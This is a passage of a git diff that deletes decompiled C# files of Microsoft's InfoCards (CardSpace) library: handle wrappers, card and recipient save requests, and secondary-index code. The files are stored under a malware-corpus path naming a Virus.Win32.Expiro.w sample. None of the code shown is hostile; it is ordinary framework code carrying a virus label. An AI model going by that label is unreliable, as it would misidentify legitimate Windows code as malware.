C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeJobHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool TerminateJobObject([In] IntPtr hJob, [In] uint uExitCode); - - public SafeJobHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - public void UpdateHandle(IntPtr handle) => this.SetHandle(handle); - - protected override bool ReleaseHandle() - { - SafeJobHandle.TerminateJobObject(this.handle, 0U); - return NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeNativeHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeNativeHandle.cs deleted file mode 100644 index dacc0cf2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeNativeHandle.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeNativeHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.Win32.SafeHandles; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeNativeHandle : SafeHandleZeroOrMinusOneIsInvalid - { - private SafeNativeHandle() - : base(true) - { - } - - public SafeNativeHandle(IntPtr existingHandle, bool ownsHandle) - : base(ownsHandle) - { - this.SetHandle(existingHandle); - } - - protected override bool ReleaseHandle() => NativeMethods.SafeHandleOnlyMethods.CloseHandle(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeRsaProviderHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeRsaProviderHandle.cs deleted file mode 100644 index d6071005..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeRsaProviderHandle.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeRsaProviderHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeRsaProviderHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", EntryPoint = "CryptAcquireContextW", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptAcquireContext( - out SafeRsaProviderHandle hProv, - [In] string pszContainer, - [In] string pszProvider, - [In] uint dwProvType, - [In] uint dwFlags); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptReleaseContext([In] IntPtr hProv, [In] uint dwFlags); - - public static SafeRsaProviderHandle Construct() - { - SafeRsaProviderHandle hProv; - if (!SafeRsaProviderHandle.CryptAcquireContext(out hProv, (string) null, (string) null, 24U, 4026531840U)) - { - Win32Exception e = new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) hProv); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(e.Message)); - } - return hProv; - } - - private SafeRsaProviderHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeRsaProviderHandle.CryptReleaseContext(this.handle, 0U); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveCardRequest.cs deleted file mode 100644 index aa65f96b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveCardRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveCardRequest : UIAgentRequest - { - private InfoCard m_card; - - public SaveCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() - { - if (this.m_card == null) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_card.LastUpdate = DateTime.UtcNow; - this.m_card.Save(connection); - connection.CommitTransaction(); - if (this.m_card.IsSelfIssued) - AuditLog.AuditCardWritten(); - else - AuditLog.AuditCardImport(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveLedgerEntryRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveLedgerEntryRequest.cs deleted file mode 100644 index 24838d78..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveLedgerEntryRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveLedgerEntryRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveLedgerEntryRequest : UIAgentRequest - { - public SaveLedgerEntryRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() => ((GetTokenRequest) this.ParentRequest).SaveLedgerEntry(); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveRecipientRequest.cs deleted file mode 100644 index 72ade26f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveRecipientRequest : UIAgentRequest - { - private Recipient m_recipient; - - public SaveRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null RPC handle"); - InfoCardTrace.Assert(null != inArgs, "Null InArgs"); - InfoCardTrace.Assert(null != outArgs, "Null outArgs"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "Null inArgs"); - this.m_recipient = new Recipient(this.InArgs); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(null != this.m_recipient, " Null Recipient"); - connection.BeginTransaction(); - try - { - this.m_recipient.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndex.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndex.cs deleted file mode 100644 index c0f81a30..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndex.cs +++ /dev/null @@ -1,334 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndex -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndex - { - private byte[] m_buffer; - private int m_lastIndex; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - private SecondaryIndexDefinition m_definition; - private bool m_isOpen; - - public SecondaryIndex( - SecondaryIndexDefinition definition, - IComparer search, - IComparer sort) - { - if (definition == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definition)); - if (search == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (search)); - if (sort == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (sort)); - this.m_definition = definition; - this.m_searchComparer = search; - this.m_sortComparer = sort; - this.Clear(); - this.m_isOpen = true; - } - - public SecondaryIndexDefinition Definition - { - get - { - this.ThrowIfNotOpen(); - return this.m_definition; - } - } - - public int LastIndex - { - get - { - this.ThrowIfNotOpen(); - return this.m_lastIndex; - } - } - - public byte[] GetBuffer() - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - - internal void SetValuesForId(int id, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - IndexObject[] array = indexBuffer[this.m_definition.Name].ToArray(); - if (remove) - this.RemoveForIdAndShiftData(id); - if (array == null || array.Length == 0) - return; - for (int index = 0; index < array.Length; ++index) - { - if (!array[index].IsCompiled) - { - if (!array[index].CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - array[index].Compile(this.m_definition); - } - this.ValidateIndexValue(array[index].CompiledForm); - this.ShiftAndInsertValues(id, array[index].CompiledForm); - } - } - - public void RemoveAllValuesForId(int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - this.RemoveForIdAndShiftData(id); - } - - public unsafe void PopulateRowIndexBuffer(DataRowIndexBuffer buffer, int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - if (-1 == this.m_lastIndex) - return; - List indexObjectList = new List(); - fixed (byte* numPtr = &this.m_buffer[0]) - { - for (int index = 0; index < this.m_lastIndex + 1; ++index) - { - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - byte[] numArray = new byte[60]; - Marshal.Copy((IntPtr) (void*) &((SecondaryIndexItem*) numPtr)[index].HashValue, numArray, 0, 60); - indexObjectList.Add(new IndexObject(numArray)); - } - } - if (indexObjectList.Count > 0) - buffer.SetIndexValues(this.m_definition.Name, indexObjectList.ToArray()); - } - } - - public void Close() - { - if (!this.m_isOpen) - return; - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_isOpen = false; - } - - public void ValidateIndexValue(byte[] indexValue) - { - if (SecondaryIndexSettings.Nullable != (this.m_definition.Settings & SecondaryIndexSettings.Nullable) && SecondaryIndex.IsBufferEmpty(indexValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreNullIndexValueNotPermitted", (object) this.m_definition.Name))); - } - - public void SetBuffer(byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - this.m_buffer = buffer; - this.m_lastIndex = lastIndex; - } - - public unsafe int Match(IndexObject obj, LocalIdCollection collection, int low, int high) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (collection == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (collection)); - if ((uint) low > (uint) high) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (low), (object) low, SR.GetString("StoreLowValueOutOfRange"))); - if ((uint) high > (uint) this.m_lastIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (high), (object) high, SR.GetString("StoreHighValueOutOfRange"))); - if (!obj.IsCompiled) - { - if (!obj.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - obj.Compile(this.m_definition); - } - this.ValidateIndexValue(obj.CompiledForm); - SecondaryIndexItem secondaryIndexItem; - Marshal.Copy(obj.CompiledForm, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - return this.Match(&secondaryIndexItem, collection, low, high); - } - - public void Clear() - { - this.m_buffer = new byte[sizeof (SecondaryIndexItem) * this.m_definition.InitialSize]; - this.m_lastIndex = -1; - } - - private unsafe void RemoveForIdAndShiftData(int id) - { - if (-1 == this.m_lastIndex) - return; - int num1 = this.m_lastIndex + 1; - int num2 = 0; - int index = 0; - fixed (byte* numPtr = &this.m_buffer[0]) - { - do - { - InfoCardTrace.Assert((uint) num2 < (uint) this.m_buffer.Length, "currentOffset is invalid or has been corrupted."); - InfoCardTrace.Assert(0 == num2 % sizeof (SecondaryIndexItem), "currentOffset is not aligned proppertly. This can cause data corruption."); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr <= (long) (num1 * sizeof (SecondaryIndexItem)), "Current IndexPointer has walked beyond the total count of valid data."); - index = num2 / sizeof (SecondaryIndexItem); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "Current IndexPointer has walked beyond the allocated buffer"); - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - if (num1 != index + 1) - { - InfoCardTrace.Assert(this.m_lastIndex >= 0, "LastIndex indicates an invalid state for the index"); - Array.Copy((Array) this.m_buffer, num2 + sizeof (SecondaryIndexItem), (Array) this.m_buffer, num2, (num1 - (index + 1)) * sizeof (SecondaryIndexItem)); - Array.Clear((Array) this.m_buffer, this.m_lastIndex * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem)); - } - else - Array.Clear((Array) this.m_buffer, num2, sizeof (SecondaryIndexItem)); - --this.m_lastIndex; - --num1; - } - else - num2 += sizeof (SecondaryIndexItem); - } - while (num2 / sizeof (SecondaryIndexItem) < num1); - } - } - - private unsafe void ShiftAndInsertValues(int id, byte[] indexValue) - { - InfoCardTrace.Assert(id > 0, "Invalid LocalId"); - InfoCardTrace.Assert(null != indexValue, "Null indev value passed"); - InfoCardTrace.Assert(indexValue.Length == 60, "Index buffer is not correct size."); - SecondaryIndexItem secondaryIndexItem; - secondaryIndexItem.LocalId = id; - Marshal.Copy(indexValue, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - this.AddItem(&secondaryIndexItem); - } - - private static bool IsBufferEmpty(byte[] hash) - { - for (int index = 0; index < hash.Length; ++index) - { - if (hash[index] != (byte) 0) - return false; - } - return true; - } - - private unsafe int BSearch( - SecondaryIndexItem* pMatch, - IComparer comp, - int lowStart, - int highStart) - { - int num1 = lowStart; - int num2 = highStart; - fixed (byte* numPtr = &this.m_buffer[0]) - { - while (num1 <= num2) - { - int num3 = (num2 + num1) / 2; - int num4 = comp.Compare((IntPtr) (void*) pMatch, (IntPtr) (void*) ((SecondaryIndexItem*) numPtr + num3)); - if (num4 == 0) - { - num2 = num3; - if (num2 == num1) - return num2; - } - else if (num4 < 0) - num2 = num3 - 1; - else - num1 = num3 + 1; - } - } - return ~num1; - } - - private unsafe int Match( - SecondaryIndexItem* pMatch, - LocalIdCollection results, - int lowStart, - int highStart) - { - int index = this.BSearch(pMatch, this.m_searchComparer, lowStart, highStart); - if (index >= 0) - { - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert(index * sizeof (SecondaryIndexItem) < this.m_buffer.Length, "Index has moved beyond the allocated buffer."); - do - { - results.Add(((SecondaryIndexItem*) numPtr)[index].LocalId); - ++index; - } - while (index <= this.m_lastIndex && this.m_searchComparer.Compare((IntPtr) (void*) ((SecondaryIndexItem*) numPtr + index), (IntPtr) (void*) pMatch) == 0); - } - --index; - } - return index; - } - - private unsafe void AddItem(SecondaryIndexItem* pMatch) - { - InfoCardTrace.Assert(IntPtr.Zero != (IntPtr) pMatch, "Match pointer is null"); - InfoCardTrace.Assert(pMatch->LocalId > 0, "Match pointer has invalid local id"); - int num1; - if (SecondaryIndexSettings.Unique == (this.m_definition.Settings & SecondaryIndexSettings.Unique)) - { - num1 = this.BSearch(pMatch, this.m_searchComparer, 0, this.m_lastIndex); - if (num1 >= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUniqueIndexConstraintBroken", (object) this.m_definition.Name))); - } - else - num1 = this.BSearch(pMatch, this.m_sortComparer, 0, this.m_lastIndex); - if (num1 >= 0) - return; - int index = ~num1; - int num2 = this.m_lastIndex + 1; - int num3 = this.m_buffer.Length / sizeof (SecondaryIndexItem); - if (num2 + 1 >= num3) - this.GrowIndex(); - if (index < num2) - { - int num4 = num2 * sizeof (SecondaryIndexItem); - int sourceIndex = index * sizeof (SecondaryIndexItem); - int destinationIndex = sourceIndex + sizeof (SecondaryIndexItem); - int length = num4 - sourceIndex; - InfoCardTrace.Assert(length > 0, "No Bytes to copy into index."); - Array.Copy((Array) this.m_buffer, sourceIndex, (Array) this.m_buffer, destinationIndex, length); - } - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "IndexPointer is beyond the end of the allocated buffer"); - ((SecondaryIndexItem*) numPtr)[index] = *pMatch; - } - ++this.m_lastIndex; - } - - private void GrowIndex() - { - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_buffer.Length, sizeof (SecondaryIndexItem), 5); - InfoCardTrace.Assert(increaseByPercent > this.m_buffer.Length && 0 == increaseByPercent % sizeof (SecondaryIndexItem), "New size calculated for index is invalid."); - int length = (this.m_lastIndex + 1) * sizeof (SecondaryIndexItem); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, length); - Array.Clear((Array) this.m_buffer, 0, length); - this.m_buffer = destinationArray; - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndex))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexDefinition.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexDefinition.cs deleted file mode 100644 index 4dc0f157..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexDefinition.cs +++ /dev/null @@ -1,84 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexDefinition -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SecondaryIndexDefinition - { - public const string GlobalIdIndex = "ix_globalid"; - public const string ObjectTypeIndex = "ix_objecttype"; - public const string NameIndex = "ix_name"; - public const string RecipientIdIndex = "ix_name"; - public const string ProductionServiceIndex = "ix_production_svc_uri"; - public const string ParentIdIndex = "ix_parentid"; - public const string MasterKeyIndex = "ix_masterkey"; - public const string SupportedClaimIndex = "ix_supportclaim"; - public const string SupportedAuthIndex = "ix_supportauth"; - private static readonly SecondaryIndexDefinition[] s_masterIndexes = new SecondaryIndexDefinition[8] - { - new SecondaryIndexDefinition("ix_globalid", 10, 20, SecondaryIndexSettings.Unique, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_objecttype", 10, 20, SecondaryIndexSettings.None, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_name", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_production_svc_uri", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_parentid", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_masterkey", 10, 20, SecondaryIndexSettings.Nullable | SecondaryIndexSettings.Unique, Canonicalizers.BinaryWithHashing), - new SecondaryIndexDefinition("ix_supportclaim", 50, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseSensitiveWithHashing), - new SecondaryIndexDefinition("ix_supportauth", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary) - }; - private int m_initialSize; - private int m_growthFactor; - private SecondaryIndexSettings m_settings; - private string m_name; - private ICanonicalizer m_canonicalizer; - - private SecondaryIndexDefinition( - string name, - int initialSize, - int growthFactor, - SecondaryIndexSettings settings, - ICanonicalizer canonicalizer) - { - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - if (initialSize <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (initialSize), (object) initialSize, SR.GetString("StoreIndexInitialSizeInvalid"))); - if (canonicalizer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (canonicalizer)); - if (growthFactor <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (growthFactor), (object) growthFactor, SR.GetString("StoreIndexGrowthFactorInvalid"))); - this.m_initialSize = initialSize; - this.m_growthFactor = growthFactor; - this.m_settings = settings; - this.m_name = name; - this.m_canonicalizer = canonicalizer; - } - - public static SecondaryIndexDefinition[] MasterIndexes => SecondaryIndexDefinition.s_masterIndexes; - - public ICanonicalizer Canonicalizer => this.m_canonicalizer; - - public string Name => this.m_name; - - public int InitialSize => this.m_initialSize; - - public int GrowthFactor => this.m_growthFactor; - - public SecondaryIndexSettings Settings => this.m_settings; - - public static SecondaryIndexDefinition GetByName(string name) - { - for (int index = 0; index < SecondaryIndexDefinition.s_masterIndexes.Length; ++index) - { - if (SecondaryIndexDefinition.s_masterIndexes[index].Name == name) - return SecondaryIndexDefinition.s_masterIndexes[index]; - } - return (SecondaryIndexDefinition) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexItem.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexItem.cs deleted file mode 100644 index f9c13076..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexItem.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexItem -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 64)] - internal struct SecondaryIndexItem - { - public const int StructSize = 64; - public const int HashValueSize = 60; - public const int LocalIdSize = 4; - public const int HashValueOffset = 0; - public const int LocalIdOffset = 60; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] - [FieldOffset(0)] - public byte HashValue; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int LocalId; - } -} diff --git 